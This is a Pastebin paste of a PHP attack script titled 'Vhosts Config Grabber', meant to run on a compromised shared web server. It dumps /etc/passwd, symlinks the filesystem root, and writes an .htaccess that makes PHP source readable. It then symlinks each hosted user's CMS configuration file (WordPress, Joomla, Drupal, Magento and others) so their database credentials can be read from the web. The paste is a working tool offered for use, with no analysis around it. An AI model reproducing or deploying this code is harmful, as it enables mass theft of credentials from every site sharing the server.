RintoMuhamad

Vhosts Config Grabber

Jul 9th, 2017
1,174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.74 KB | None | 0 0
  1. <?php
  2. if($_POST['jembud']){
  3. @mkdir("vhost_c7e", 0777);
  4. @chdir("vhost_c7e");
  5. system("ln -s / root");
  6. $htaccess="
  7. Options Indexes FollowSymLinks
  8. DirectoryIndex ngeue.htm
  9. AddType text/plain .php
  10. AddHandler text/plain .php
  11. Satisfy Any";
  12. @file_put_contents(".htaccess",$htaccess);
  13. $etcp=$_POST['passwd'];
  14.    
  15. $etcp=explode("\n",$etcp);
  16. foreach($etcp as $passwd){
  17. $pawd=explode(":",$passwd);
  18. $user =$pawd[5];
  19. $jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user);
  20. if (preg_match('/vhosts/i',$user)){
  21. system("ln -s ".$user."/httpdocs/wp-config.php ".$jembod."-Wordpress.txt");
  22. system("ln -s ".$user."/httpdocs/configuration.php ".$jembod."-Joomla.txt");
  23. system("ln -s ".$user."/httpdocs/config/koneksi.php ".$jembod."-Lokomedia.txt");
  24. system("ln -s ".$user."/httpdocs/forum/config.php ".$jembod."-phpBB.txt");
  25. system("ln -s ".$user."/httpdocs/sites/default/settings.php ".$jembod."-Drupal.txt");
  26. system("ln -s ".$user."/httpdocs/config/settings.inc.php ".$jembod."-PrestaShop.txt");
  27. system("ln -s ".$user."/httpdocs/app/etc/local.xml ".$jembod."-Magento.txt");
  28. system("ln -s ".$user."/httpdocs/admin/config.php ".$jembod."-OpenCart.txt");
  29. system("ln -s ".$user."/httpdocs/application/config/database.php ".$jembod."-Ellislab.txt");
  30. system("ln -s ".$user."/httpdocs/inc/connect.php ".$jembod."-Parallels.txt");
  31. system("ln -s ".$user."/httpdocs/inc/config.php ".$jembod."-MyBB.txt");
  32.  
  33. }
  34. }
  35. echo "<center><a href='vhost_c7e/root/'><u>Symlinknya</u></a><br><a href='vhost_c7e/'><u>Config Nya Njing</u></a>";
  36. }else{
  37. echo "<center><form method='POST' action=''>
  38. <textarea name='passwd' rows='15' cols='60'>";
  39. echo include("/etc/passwd");
  40. echo "</textarea>";
  41. echo "<br><br>";
  42. echo "<input type='submit' name='jembud' value='SikatMang!!'></center>";
  43. }
Advertisement
Add Comment
Please, Sign In to add comment